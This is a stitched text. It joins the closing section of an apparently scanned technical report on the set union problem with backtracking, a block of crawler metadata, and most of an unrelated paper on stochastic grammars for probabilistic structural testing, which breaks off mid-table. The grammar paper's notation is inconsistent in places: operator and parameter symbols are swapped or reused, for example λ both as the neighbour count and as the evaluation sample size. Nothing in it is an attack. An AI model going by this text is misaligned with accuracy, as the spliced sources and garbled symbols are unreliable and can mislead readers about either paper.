set forms a binomial tree, each set \( X \) in \( D_i \) consists of \( f \) sets in \( P_{i+1} \), all of whose elements are at distance at least \( i \) from the name of the only set. For an element \( x \in X \) to be at distance exactly \( i \) from the set name, some edge must lead from \( x \) to a set in \( P_i \) other than \( X \); otherwise \( X \) would not be in \( D_i \). There are \( \ell_i \) such edges. Each such edge can eliminate one set in \( P_{i+1} \) from being in \( D_{i+1} \). But this leaves \( fd_i - \ell_i \) sets in \( D_{i+1} \), namely the \( fd_i \) sets into which the sets in \( D_i \) divide, minus at most \( \ell_i \) eliminated by edges between different sets in \( P_i \). That is, \( d_{i+1} \geq fd_i - \ell_i \), as claimed.
Applying the bound \( \ell_i \leq bf^i \) gives \( d_{i+1} \geq fd_i - bf^i \). Using \( d_1 = f - 1 \), a proof by induction shows that \( d_i \geq f^{i-1}(f - (i-1)b - 1) \).
We wish to show that $d_b > 0$. This is true provided that $(f - (b-1)b-1) > 0$. But $f = (\lg n)^2$ and $b = \lfloor \lg n/(2\lg \lg n) \rfloor$, giving $(f - (b-1)b-1) = (f - b^2 + b - 1) \geq \frac{3}{4}(\lg n)^2 > 0$, since we are assuming $n \geq 4$, which implies $b^2 \leq (\lg n)^2/4$ and $b \geq 1$. Thus $d_b > 0$, which implies that some element is at distance at least $b$ from the set name, i.e. Case (1) applies. □
5. Remarks
Our bound of $\Theta(\log n/\log \log n)$ on the amortized time per operation in the set union problem with backtracking is the same as Blum's worst-case bound per operation in the set union problem without backtracking [1]. Perhaps this is not a coincidence. Our lower bound proof resembles his. Furthermore the data structure he uses to establish his upper bound can easily be extended to handle deunion operations; the worst-case bound per operation remains $O(\log n/\log \log n)$ and the space needed is $O(n)$.
The compaction methods have the advantage over Blum's method that as the ratio of finds to unions and deunions increases the amortized time per find decreases. The precise result is that if the ratio of finds to unions and deunions in the operation sequence is $\gamma$ and the amortized time per union and deunion is defined to be $\Theta(1)$, then the amortized time per find is $\Theta(\log n/(\max\{1, \log(\gamma \log n)\})$. This bound is valid for any value of $\gamma$, and it holds for splitting or halving with either union rule, and it is the best bound possible for any separable pointer algorithm. This can be proved using straightforward extensions of the arguments in Sections 3 and 4. The space bound can be made $O(n)$ by an extension of the idea proposed at the end of Section 3. If the deunion operations occur in bursts, the time per operation decreases further, but we have not attempted to analyze this situation.
Perhaps the most interesting open problem is whether the lower bound in Section 4 can be extended to nonseparable pointer algorithms. (In place of separability, we require that the out-degree of every node in the data structure be constant.) We conjecture that the bound in Theorem 3 holds for such algorithms. The techniques of Mehlhorn, Näher, and Alt [7] suggest an approach to this question, which might yield at least an $\Omega(\log \log n)$ bound if not an $\Omega(\log n/\log \log n)$ bound on the amortized
time.
References
Figure 1. Path compression, path splitting, and path halving. The element found is "a".
Figure 2. Binomial trees.
END
DATE
FILMED
9-88
DTIC
|
{"Source-Url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a195823.pdf", "len_cl100k_base": 9027, "olmocr-version": "0.1.49", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 56017, "total-output-tokens": 11017, "length": "2e13", "weborganizer": {"__label__adult": 0.0004591941833496094, "__label__art_design": 0.0004649162292480469, "__label__crime_law": 0.0006203651428222656, "__label__education_jobs": 0.0008106231689453125, "__label__entertainment": 0.0001417398452758789, "__label__fashion_beauty": 0.00025582313537597656, "__label__finance_business": 0.000431060791015625, "__label__food_dining": 0.0005779266357421875, "__label__games": 0.0014467239379882812, "__label__hardware": 0.0023193359375, "__label__health": 0.0013151168823242188, "__label__history": 0.0005726814270019531, "__label__home_hobbies": 0.00022208690643310547, "__label__industrial": 0.0008063316345214844, "__label__literature": 0.0004041194915771485, "__label__politics": 0.00044345855712890625, "__label__religion": 0.0007443428039550781, "__label__science_tech": 0.1878662109375, "__label__social_life": 0.0001118779182434082, "__label__software": 0.007633209228515625, "__label__software_dev": 0.79052734375, "__label__sports_fitness": 0.0005173683166503906, "__label__transportation": 0.0008878707885742188, "__label__travel": 0.00029087066650390625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36908, 0.03422]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36908, 0.4439]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36908, 0.90755]], "google_gemma-3-12b-it_contains_pii": [[0, 207, false], [207, 275, null], [275, 275, null], [275, 399, null], [399, 1221, null], [1221, 2084, null], [2084, 4483, null], [4483, 6682, null], [6682, 8543, null], [8543, 11160, null], [11160, 13909, null], [13909, 16278, null], [16278, 18278, null], [18278, 20594, null], [20594, 23046, null], [23046, 25303, null], [25303, 27366, null], [27366, 29703, null], [29703, 32443, null], [32443, 34856, null], [34856, 34862, null], [34862, 36638, null], [36638, 36769, null], [36769, 36857, null], [36857, 36883, null], [36883, 36908, null]], "google_gemma-3-12b-it_is_public_document": [[0, 207, true], [207, 275, null], [275, 275, null], [275, 399, null], [399, 1221, null], [1221, 2084, null], [2084, 4483, null], [4483, 6682, null], [6682, 8543, null], [8543, 11160, null], [11160, 13909, null], [13909, 16278, null], [16278, 18278, null], [18278, 20594, null], [20594, 23046, null], [23046, 25303, null], [25303, 27366, null], [27366, 29703, null], [29703, 32443, null], [32443, 34856, null], [34856, 34862, null], [34862, 36638, null], [36638, 36769, null], [36769, 36857, null], [36857, 36883, null], [36883, 36908, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36908, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36908, null]], "pdf_page_numbers": [[0, 207, 1], [207, 275, 2], [275, 275, 3], [275, 399, 4], [399, 1221, 5], [1221, 2084, 6], [2084, 4483, 7], [4483, 6682, 8], [6682, 8543, 9], [8543, 11160, 10], [11160, 13909, 11], [13909, 16278, 12], [16278, 18278, 13], [18278, 20594, 14], [20594, 23046, 15], [23046, 25303, 16], [25303, 27366, 17], [27366, 29703, 18], [29703, 32443, 19], [32443, 34856, 20], [34856, 34862, 21], [34862, 36638, 22], [36638, 36769, 23], [36769, 36857, 24], [36857, 36883, 25], [36883, 36908, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36908, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
72857e4b7decffd4dcece652ac4abe268d57491c
|
This is a repository copy of *The Optimisation of Stochastic Grammars to Enable Cost-Effective Probabilistic Structural Testing.*
White Rose Research Online URL for this paper:
http://eprints.whiterose.ac.uk/75406/
Version: Accepted Version
**Conference or Workshop Item:**
---
**Reuse**
Items deposited in White Rose Research Online are protected by copyright, with all rights reserved unless indicated otherwise. They may be downloaded and/or printed for private study, or other acts as permitted by national copyright laws. The publisher or other rights holders may allow further reproduction and re-use of the full text version. This is indicated by the licence information on the White Rose Research Online record for the item.
**Takedown**
If you consider content in White Rose Research Online to be in breach of UK law, please notify us by emailing eprints@whiterose.ac.uk including the URL of the record and the reason for the withdrawal request.
The Optimisation of Stochastic Grammars to Enable Cost-Effective Probabilistic Structural Testing
Simon Poulding
Dept. of Computer Science
University of York
York YO10 5GH, UK
smp@cs.york.ac.uk
Robert Alexander
Dept. of Computer Science
University of York
York YO10 5GH, UK
rda@cs.york.ac.uk
John A. Clark
Dept. of Computer Science
University of York
York YO10 5GH, UK
jac@cs.york.ac.uk
Mark J. Hadley
Dept. of Computer Science
University of York
York YO10 5GH, UK
mjh130@york.ac.uk
ABSTRACT
The effectiveness of probabilistic structural testing depends on the characteristics of the probability distribution from which test inputs are sampled at random. Metaheuristic search has been shown to be a practical method of optimising the characteristics of such distributions. However, the applicability of the existing search-based algorithm is limited by the requirement that the software’s inputs must be a fixed number of numeric values.
In this paper we relax this limitation by means of a new representation for the probability distribution. The representation is based on stochastic context-free grammars but incorporates two novel extensions: conditional production weights and the aggregation of terminal symbols representing numeric values.
We demonstrate that an algorithm which combines the new representation with hill-climbing search is able to efficiently derive probability distributions suitable for testing software with structurally-complex input domains.
Categories and Subject Descriptors
D.2.5 [Software Engineering]: Testing and Debugging;
F.4.2 [Mathematical Logic and Formal Languages]:
Grammars and Other Rewriting Systems; G.1.6 [Numerical Analysis]: Optimization
Keywords
Software Verification; Search-Based Software Engineering;
Structural Testing; Statistical Testing; Stochastic Context-Free Grammars
1. INTRODUCTION
The term ‘statistical testing’ has a number of meanings in the context of software verification, but refers here to a form of probabilistic structural testing described by Thévenod-Fosse and Waeselynck [12, 13, 14]. The strategy is to randomly sample test inputs from an input profile (a probability distribution over the input domain) having a particular property: that every structural element in the software-under-test is exercised as frequently as possible by the sampled inputs.
Statistical testing is, potentially, a very effective testing strategy. As for deterministic forms of structural testing, the code’s structure provides guidance as how the testing effort should be applied in order to detect faults throughout software. But statistical testing additionally shares the benefits of other probabilistic methods of generating test inputs. In particular, it is easy to generate inputs for tests sets of any chosen size by repeatedly sampling from the input profile. This flexibility in the test set size enables the most effective use to be made of the available testing time and resources. Thévenod-Fosse and Waeselynck demonstrated empirically that the combination of structural guidance and flexible test size enables statistical testing to be more effective at detecting faults than both uniform random testing and deterministic structural testing [12].
However, a significant barrier to the use of statistical testing is the cost of finding a suitable input profile: it is difficult to derive a probability distribution over the software’s input domain that induces an effective distribution over the software’s structural elements.
In our previous work, we demonstrated a cost-effective search-based algorithm for deriving suitable input profiles [9, 10]. The algorithm represented candidate input profiles as a Bayesian network and therefore had a significant limitation: it could be applied only to software for which inputs consisted of a fixed number of numeric values. In this paper, we propose a grammar-based representation that overcomes this limitation.
The contributions we make are:
1. A new representation for input profiles that is capable...
of generating structurally-complex test inputs. The complexity may arise from constraints on the validity of the input, a mixture of categorical and numeric data, and the use of variable-length sequences. The new representation is based on stochastic context-free grammars, but incorporates two novel extensions. Firstly, conditional production weights introduce a limited form of context-sensitivity and enable the representation of more subtle probability distributions than would normally be possible. Secondly, terminal symbols representing numeric values are aggregated so as to reduce the size of the representation and thereby facilitate its optimisation using search. (Section 3.1)
2. A search method that may be applied to the grammar-based representation in order to derive input profiles suitable for statistical testing. (Section 3.3)
3. A demonstration of the cost-effectiveness of a search algorithm using three diverse software examples, and empirical evidence that the two novel extensions to the grammar facilitate the derivation of input profiles. (Section 4)
2. BACKGROUND
2.1 Statistical Testing
Statistical testing requires that the input profile—the probability distribution over the input domain of the software-under-test (SUT) from which inputs are sampled—satisfies an adequacy criterion. The criterion is expressed in terms of a set, $C$, of coverage elements such as structural elements of the SUT’s source code or functional elements of the SUT’s specification. For each coverage element, $c_i \in C$, let $p_i$ be the probability that the coverage element is exercised by a single input chosen at random from the given input profile, and $p$ be the minimum of the $p_i$. The adequacy criterion requires that $p$ (which we refer to as the minimum coverage probability) be as large as possible.
The rationale for this criterion is efficient coverage of the structural elements. Let $Q$ be the probability that every coverage element is exercised by at least one test case in the test set. The relationship between $Q$, $p$, and the test size $N$ is given by (adapting a result given in [13]):
$$Q = 1 - (1 - p)^N$$
(1)
For effective testing, $Q$ should have a value close as possible to 1 in order to cover as much of the software as possible. Maximising the minimum coverage probability enables either (a) an increase in $Q$ for a given test set size (which will improve the fault-detecting ability); or (b) a reduction in the test size (and thus the testing costs) while maintaining an acceptable value of $Q$.
To construct input profiles with suitably high minimum coverage probabilities, both static and dynamic techniques are described in the literature.
Gouraud and Denise describe a static technique which assigns weights to edges in the SUT’s control-flow graph in order to sample execution paths in a manner that satisfies the statistical testing adequacy criterion [5, 2]. However, computationally expensive constraint-solving (similar to that used in symbolic execution) is required to derive test inputs which exercise the sampled paths, and many of sampled paths are infeasible in practice. Both these factors limit the scalability of the technique.
Thévenod-Fosse and Waeselynck describe a dynamic technique [13, 14]. The minimum coverage probability of a candidate input profile is estimated by executing an instrumented version of the SUT with inputs sampled from the profile. The results are used to guide the manual adjustment of the profile, and the process repeated until a suitable value of the minimum coverage probability is attained. However, Thévenod-Fosse and Waeselynck speculate that this technique is unlikely to be practical for large SUTs in its manual form.
2.2 Deriving Input Profiles Using Search
In our previous work, we demonstrated that metaheuristic search can automate the dynamic technique of Thévenod-Fosse and Waeselynck, and thereby reduce the cost of deriving suitable input profiles for statistical testing [9].
We made the assumption that inputs to the SUT were a fixed number of integer or real-valued arguments. This assumption enabled input profiles to be represented as Bayesian networks: directed acyclic graphs in which nodes correspond to input arguments, and edges describe conditional dependence between arguments. The conditional distributions at each node were represented by partitioning the domain of the input vector component into bins and assigning a probability to each bin.
To derive input profiles using this Bayesian network representation, we use random mutation hill-climbing to optimise the edges between nodes, the number and size of bins at a node, and the probabilities assigned to each bin.
In subsequent work, we demonstrated an enhancement to the search algorithm that improved performance by a factor of five for some SUTs [10]. The enhancement—described as ‘direction mutation’—used additional information obtained from executing the instrumented SUT to bias the mutation operators to parts of the candidate input profile that exercised the coverage element(s) having the lowest coverage probability.
Although this work has shown that metaheuristic search is an effective and cost-efficient approach to deriving input profiles, the assumption of inputs being a fixed number of numeric values limits the SUTs to which this approach may be applied. It is this limitation we seek to remove using the new representation described in this paper.
3. PROPOSED SEARCH ALGORITHM
3.1 Representation
3.1.1 Stochastic Context-Free Grammars
Formal grammars define a language of strings: sequences of symbols drawn from a set of terminal symbols. The grammar restricts valid strings to be a subset of all possible sequences of terminals by means of production rules: only strings that can be constructed by the application of the grammar’s production rules are valid. The productions of context free-grammars, on which our representation is based, have the form:
$$V \rightarrow X_1 X_2 \ldots X_n$$
where $V$ is one of an additional set of symbols called variables, and the $X_i$ are either variable symbols or terminals.
The generation a valid string from the grammar begins with a string consisting of a single copy of the designated 'starting' variable symbol, usually denoted S. Generation proceeds by considering the leftmost variable in the current string. A production is chosen which has the this variable on the left-hand side, and the variable is replaced in the string with the symbols on the right-hand side of the production rule. The process of replacing variables continues until the string contains no variable symbols.
As an example, consider the following context-free grammar for defining simple arithmetic expressions. (For clarity, we surround terminal symbols in this and subsequent grammars by single quotes. We also use the standard notation of concatenating productions with same left-hand side variable, separating the alternative right-hand sides using vertical bars: \( X \rightarrow Y | Z \) is equivalent to the two productions \( X \rightarrow Y \) and \( X \rightarrow Z \).
\[
\begin{align*}
S & \rightarrow \text{Expr} \\
\text{Expr} & \rightarrow \text{Num} | \text{Expr} \text{ Op} \text{ Expr} \\
\text{Num} & \rightarrow \text{'}0\text{'} | \text{'}1\text{'} | \text{'}2\text{'} | \text{'}3\text{'} | \text{'}4\text{'} | \text{'}5\text{'} \\
\text{Op} & \rightarrow \text{'}+\text{'} | \text{'}-\text{'} | \text{'}*\text{'} | \text{'}/\text{'}
\end{align*}
\]
This grammar generates valid strings such as \( \text{'}4 + 3 \times 5\text{'} \), but does not generate invalid strings such as \( \text{'}- 3 1\text{'} \).
In a stochastic context-free grammar (SCFG), each production is additionally annotated by a weight. During string generation, if more than one production could be applied, the weights are interpreted as a probability distribution and one of the productions is chosen at random according to distribution.
When used as a representation for input profiles, the grammar productions define the valid inputs to the SUT, and the weights are used to define the probability distribution over the inputs, i.e. an input profile. (We note, however, that some types of input structures cannot be represented using context-free grammars.)
### 3.1.2 Conditional Weights
Context-free grammars are so-called because the set of productions that may be applied to a variable does not change depending on the symbols occurring before or after the variable in the string during the generation process; this is a consequence of only a single variable being permitted on the left-hand side of production rules.
The context-free property simplifies the grammar representation, but limits the types of input profiles that may be represented using the weights of a SCFG. Consider again the example grammar for generating simple arithmetic expressions. If an optimal input profile must avoid too many divide-by-zero arithmetic operations (i.e. the substring \( /0\text{'} \)), the only mechanism available to do this is to assign a low weight to the production \( \text{Op} \rightarrow \text{'}/\text{'} \), or to the production \( \text{Num} \rightarrow \text{'}0\text{'} \). However such weights would also reduce the probability of otherwise desirable substrings such as \( \text{'}/\text{'}2\text{'} \) and \( \text{'}+\text{'}\text{'}0\text{'} \).
To overcome this limitation, we enhance the standard form of SCFGs by introducing conditional weights for the productions. A 'child' variable may be identified as having one or more 'parent' variables (the set of which may include the child variable itself) on which it is dependent. The distribution of weights over the productions for the child variable are then conditionally dependent on which productions were most recently applied to the parent variables.
For example, we may identify the variable \( \text{Num} \) in our example grammar as being dependent on the variable \( \text{Op} \). The weights over the 6 productions for \( \text{Num} \) are then conditionally dependent on which production was most recently applied to \( \text{Op} \). In effect, there are 5 (potentially different) distributions of weights over the productions of \( \text{Num} \): one for each of the 4 possible productions of \( \text{Op} \), plus a further distribution that is used if no production has yet been applied to \( \text{Op} \).
The conditional dependency of weights extends the types of input profiles that may be represented by introducing a limited form of context-sensitivity (but only in the weights; the grammar itself remains context-free). It would, for example, enable divide-by-zero errors to be avoided more accurately by setting the weight of \( \text{Num} \rightarrow \text{'}0\text{'} \) to a low value only in the conditional distribution used when the most recent production applied to \( \text{Op} \) was \( \text{Op} \rightarrow \text{'}/\text{'} \), but retaining a normal weight for \( \text{Num} \rightarrow \text{'}0\text{'} \) for all the other productions of \( \text{Op} \).
The conditional dependency between variables—which parents are related to which child variables—is discovered by the search algorithm; it does not need to be specified a priori.
#### 3.1.3 Aggregation of Numeric Terminals
Some variables in the grammar may be used to represent a numeric range. For example, the variable \( \text{Num} \) in the example grammar above represents an integer in the range \([0, 5]\). When the cardinality of the range is small, it is feasible to use a separate production for each possible value in the range. However, for much larger ranges, such an approach would create an excessive number of productions and associated weights: it is unlikely that it would be practical to optimise such a large representation using search.
To accommodate large numeric ranges, we propose a further extension to the standard form of SCFGs. Variables representing numeric ranges are identified as special type (we term 'binned variables'). Rather than specifying a production for each possible value in the range, the range is instead partitioned into a small number of bins.
For example, if the variable \( \text{Num} \) instead represented the range \([-32768, 32767]\), it might be partitioned into three bins (of different sizes) as follows:
\[
\begin{align*}
\text{Num} & \rightarrow [\text{-32768, -2480}] | [\text{-2479, 238}] | [\text{239, 32767}]
\end{align*}
\]
When one of these three productions is chosen during the generation of a string from the grammar, the output is not the bin, but a value picked at random from a uniform distribution across the bin. For example, if the production \( \text{Num} \rightarrow [\text{-2479, 238}] \) is applied, then the output is an integer between \(-2479\) and \(238\).
By aggregating a potentially large number of terminals into a much smaller number of bins, the size of the representation is reduced; we speculate that this will improve the practicality of the search process.
The number and lengths of bins need not specified a priori: the search process attempts to derive a suitable partitioning.
### 3.2 Fitness Metric
The fitness metric is an estimate of the minimum coverage probability induced by the candidate input profile. It is evaluated by sampling a number (\( K \)) of inputs from the stochastic grammar, and executing an instrumented version of the SUT with the inputs. For each coverage element \( c_i \),
the estimated coverage probability, \( p_i \), is the proportion of the \( K \) inputs that exercised the element one (or more) times. The lowest value of \( p_i \) across all the coverage elements is an estimate of the minimum coverage probability.
Since the sample of inputs is of finite size, the fitness metric is an estimate and may sometimes be higher than the ‘true’ value for the candidate input profile. In this situation, the input profile may be retained in error over many iterations of the search. In our previous work, we were able to minimise this effect by continuing to evaluate the current input profile (for up to \( \mu_{\text{eval}} \) hill-climbing iterations), and re-calculating a more accurate estimate of fitness from the accumulated instrumentation data.
### 3.3 Search Method
There is some correspondence between the new grammar-based representation and the previous Bayesian network representation. For this reason, we propose a hill-climbing search similar to that described in [10].
#### 3.3.1 Random Mutation Hill-Climbing
The search begins from a random input profile constructed by randomising the weights, conditional dependencies between variables, and number and size of bins in the grammar. A limit (\( \mu_{\text{perm}} \)) may be specified for the number of parent variables any one variable may be conditionally dependent on, and on the number of bins that a binned variable may have (\( \mu_{\text{bin}} \)): both the initial random profile and neighbours created by mutation respect these limits.
At each iteration of the hill-climb, a small number (\( \lambda \)) of neighbours to the current input profile are created by applying one of the following mutation operators:
- \( M_{\text{prb}} \) increases or decreases a single production weight by a factor \( \rho_{\text{prb}} \);
- \( M_{\text{add}} \) adds a conditional dependency between two variables;
- \( M_{\text{rem}} \) removes a conditional dependency;
- \( M_{\text{len}} \) increases or decreases the length of one bin by a factor \( \rho_{\text{len}} \);
- \( M_{\text{spl}} \) splits a bin into two new bins;
- \( M_{\text{prnt}} \) joins two adjacent bins.
Each mutation operator \( M_k \) has an associated weight, \( w_k \): operators with higher weights are more likely to be applied when creating a neighbour.
The neighbours are evaluated, and if the fittest neighbour is fitter than the current input profile, the neighbour becomes the current profile in the next iteration.
#### 3.3.2 Directed Mutation
We incorporate an enhancement to the search method that we describe as ‘directed mutation’. (This enhancement was discussed in section 2.2 above, and is explained in detail in our previous work [10].) When the fitness of the current input profile is evaluated, data is maintained as to which productions gave rise to inputs that exercised the coverage element(s) with the minimum coverage probability.
The weights (and bins, if a binned variable) associated with these productions are then mutated with a higher likelihood when creating neighbours of the current input profile.
Directed mutation is implemented by grouping the mutation operators into three groups:
- \( G_{\text{edge}} \) operators that modify conditional dependencies: \( M_{\text{add}} \) and \( M_{\text{rem}} \);
- \( G_{\text{bin}} \) operators that modify production weights and bin terminals directly: \( M_{\text{bin}} \), \( M_{\text{spl}} \), \( M_{\text{prnt}} \), and \( M_{\text{prb}} \);
- \( G_{\text{direct}} \) consists of the same weight- and bin-modifying operators as \( G_{\text{bin}} \), but applies them only to production weights and bins that contributed strings that exercised the element(s) with the lowest coverage probability.
Each group \( G_k \) has associated weight \( W_k \). When choosing a mutation operator to apply, a group is first chosen at random according to the group weights, and then a mutation operator is chosen at random from that group according to the mutation operator weights. The group weights control the ‘strength’ of directed mutation effect.
If the minimum coverage probability is zero, one or more coverage elements must have been exercised by none of the sampled inputs and so there is no data available with which to apply directed mutation. In this situation, the algorithm foregoes the local mutation operators described above and constructs entirely random neighbours (in the same way as initial random profile). The motivation is to rapidly explore the search space in order to find a region where the minimum coverage probability is non-zero and directed mutation will be effective.
### 4. EMPIRICAL DEMONSTRATION
#### 4.1 Objectives
The objectives of the empirical work described in this section are:
1. To demonstrate that proposed search algorithm is able to derive input profiles suitable for testing software taking structurally-complex inputs.
2. To assess whether the two extensions to the standard form of stochastic context-free grammars—conditional production weights and the aggregation of numeric terminals—facilitate the search algorithm.
#### 4.2 Software Under Test
##### 4.2.1 circBuff
\textbf{circBuff} is the implementation of a circular buffer container in the BOOST C++ library, version 1.50. The testing objective is coverage of branches in the public methods of the public interface class of the container. (We omit the copy constructor and assignment operator in order to avoid a step-change in the complexity of the grammar since these methods take a further container object as a parameter.) The number of branches to be covered is 78. The public methods of the class constitute approximately 700 lines of code, but not all methods include branched code.
Since the container object maintains state between method calls, it is not sufficient for the test case to be a single method call. Instead, we consider a test input to be a sequence of method calls and we use the grammar shown in Figure 1 to create such inputs. The grammar defines a valid structure for the sequence of method calls: a constructor, method calls to the constructed object that fill the buffer, method calls...
that operate on the buffer, and finally a call to the destructor. Terminals, such as 'linearize' or 'rotate', specify method calls. (The suffices of the form [n] distinguish between overloaded methods.) Parameters to method calls are represented by the four binned variables at the end of the grammar. Recursion in the grammar enables the generation of variable-length sequences of method calls.
The strings generated by the grammar are interpreted by a test harness and applied to an instrumented version of the container class. The object returned by a call to a constructor method is stored by the harness and subsequent method calls are made to that object.
4.2.2 epuck
'E-pucks' are small, relatively cheap robots used in robotics research. The SUT epuck is controller code that forms part of a lightweight simulator for e-puck robots written in C by Paul O'Dowd of the University of Bristol. Features supported by the simulator include infra-red proximity detection, communication between robots, the placement and deletion of coded patches on the floor, and the placement of static obstacles in the environment.
The controller code has two significant conditional statements: the first tests whether an obstacle is nearby and if so, directs the robot to take avoidance; the second tests for the presence of coded 'food' patches on the floor and if so, attempts to maintain position over the patch. The testing objective is to exercise the four branches from these two conditional statements during a short 'mission' lasting the equivalent of 10 seconds in the simulation.
A test input is a configuration of the robot’s environment in which the mission occurs, consisting of fixed circular arena and a number of obstacles and patches. The configuration is described by the grammar listed in Figure 2, which defines obstacles and patches in terms of groups we call object clusters. An example of two clusters is shown in Figure 3. The objects in the cluster—obstacles and patches—are defined using distances and angles from the centre of the cluster.
The recursion in the grammar permits different numbers of object clusters, each with different numbers of obstacles and patches, to be generated. Binned variables are used to generate the positions of clusters, obstacles, patches, and e-pucks; and the radii of obstacles and patches.
Strings generated by the grammar are interpreted by a test harness and used to configure the simulated environment. To avoid unrealistic environments, only the first three obstacles and first three patches are configured. Similarly, only the first e-puck specified by the generated string is added to the arena.
The controller code itself consists of 53 lines of code, but the testing process requires the code to be executed as part of the much larger simulator. The mission duration of 10 seconds is equivalent to 500 time steps in the simulation. While the real-world elapsed time for each simulated mission is much less than a second, this is nevertheless much longer than the execution time of the other two SUTs used in this empirical work.
4.2.3 tcas
The previous Bayesian network representation could be applied only to SUTs with inputs consisting of a fixed number of numeric arguments. In order to demonstrate that the new grammar-based representation is also practical for...
S → A1 A2 A3 A4 A5 A6 A7 A8 A9 A10 A11 A12
A1 → [0, 0.3999]
A2 → [0, 1]
A3 → [0, 1]
A4 → [0, 0.3999]
A5 → [0, 0.4999]
A6 → [0, 0.3999]
A7 → [0, 3]
A8 → [0, 0.3999]
A9 → [0, 0.3999]
A10 → [0, 2]
A11 → [1, 2]
A12 → [0, 1]
Figure 4: The grammar defining inputs to tcas.
SUTs with this simpler form of input domains, we include a common example from the testing literature: the Traffic Collision Avoidance System (TCAS) used by commercial aircraft. The code was provided by the Software-artifact Infrastructure Repository [3].
The SUT takes 12 integer arguments, and thus the grammar consists only of 12 binned variables—one for each argument across the valid range of the argument—plus the start variable (Figure 4). This simple grammar always processes each variable exactly once and always in the same order. For this (and similar) grammars, the fixed generation order enables the search space to be reduced by restricting the conditional dependencies between variables: the parent variable must be processed earlier than child, otherwise the dependency would have no effect.
The testing objective is coverage of all reachable 62 conditions (atomic Boolean predicates) in both conditional and assignment statements.
4.3 Empirical Method
The empirical demonstration compares four variants of the algorithm implemented in C++:
1. The standard hill-climbing algorithm as described in section 3.
2. A variant in which conditional production weights are prohibited (by setting the parameter \( \rho_{prnt} \) to 0).
3. A variant in which the range of a numeric variable is not partitioned into bins (by setting the parameter \( \mu_{bins} \) to 1).
4. An equivalent form of random search: instead of creating neighbours by application of a single mutation operator, an entirely random profile is generated (in the same way that the initial random profile is constructed).
For each variant and for each SUT, 16 trials—each with a different seed to the pseudo-random number generator—were run. Each trial executed on a single CPU core. The clock speed of, and memory accessible to, the cores were typical of a desktop PC. The trials ran for 20,000 iterations for circBuff and tcas, taking on average of 14 minutes and 1.5 minutes per trial, respectively. Each execution of epuck during fitness evaluation takes much longer than the other two SUTs, so the algorithm trials ran for a fewer number of iterations: 400 iterations, taking on average of 22 minutes per trial.
During each trial, the fitness (the estimated minimum coverage probability) of the best input profile found so far was recorded in order to assess the trajectory taken by the search. (The fitness of the best profile so far is not necessarily the same as that of the current profile owing to the re-evaluation mechanism described in section 3.3.)
The remaining algorithm parameter settings are listed in Table 1. The settings were re-purposed from the result of tuning the older Bayesian network algorithm to a different set of SUTs [8]. In order to reduce the threat to validity of using a single set of parameter settings, the parameters were not tuned to new grammar representation nor to the new SUTs under consideration here.
4.4 Results
The results are summarised in Figure 5 for each of three SUTs. The graphs illustrate the trajectory of the search by plotting the average fitness, calculated as the mean across all 16 trials of the algorithm variant, at each iteration of the algorithm. The fitness plotted is the estimated minimum coverage probability of the best profile found so far, and so this value is the fitness of the input profile that would have been returned by the search algorithm if it had been stopped at that iteration. The 95% confidence intervals, indicated by error bars at regular intervals along the trajectory, were calculated by bootstrap resampling.
We choose to summarise the results as trajectories to ensure that any conclusions we draw are reliable and not an artefact of a particular point at which we might choose to stop the algorithm.
The raw data from the algorithm trials is available at: http://www.cs.york.ac.uk/~smp/supplemental/
4.5 Discussion
For all three SUTs, the hill-climbing algorithm (solid line trajectories) derives input profiles with the highest minimum coverage probability. (For epuck, there is no statistically significant difference between this algorithm and the variant that does not use conditional production weights: the error bars overlap across the entire trajectories.) As discussed in section 2.1, profiles with the highest minimum coverage probability will be the most cost-effective when used for statistical testing. We are not aware of any analysis in the literature of the best possible value of the minimum coverage probability for these SUTs against which we may compare
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>( \lambda )</td>
<td>evaluation sample size</td>
<td>362</td>
</tr>
<tr>
<td>( \rho_{prnt} )</td>
<td>production weight mutation factor</td>
<td>54.002</td>
</tr>
<tr>
<td>( \rho_{bin} )</td>
<td>bin length mutation factor</td>
<td>2.755</td>
</tr>
<tr>
<td>( W_{bins} )</td>
<td>( G_{bins} ) group weight</td>
<td>1000</td>
</tr>
<tr>
<td>( W_{edge} )</td>
<td>( G_{edge} ) group weight</td>
<td>144</td>
</tr>
<tr>
<td>( W_{rect} )</td>
<td>( G_{rect} ) group weight</td>
<td>10584</td>
</tr>
<tr>
<td>( w_{rem} )</td>
<td>( M_{rem} ) mutation weight</td>
<td>1000</td>
</tr>
<tr>
<td>( w_{addl} )</td>
<td>( M_{addl} ) mutation weight</td>
<td>689</td>
</tr>
<tr>
<td>( w_{pr} )</td>
<td>( M_{pr} ) mutation weight</td>
<td>1000</td>
</tr>
<tr>
<td>( w_{pl} )</td>
<td>( M_{pl} ) mutation weight</td>
<td>886</td>
</tr>
<tr>
<td>( w_{apl} )</td>
<td>( M_{apl} ) mutation weight</td>
<td>1159</td>
</tr>
<tr>
<td>( w_{lem} )</td>
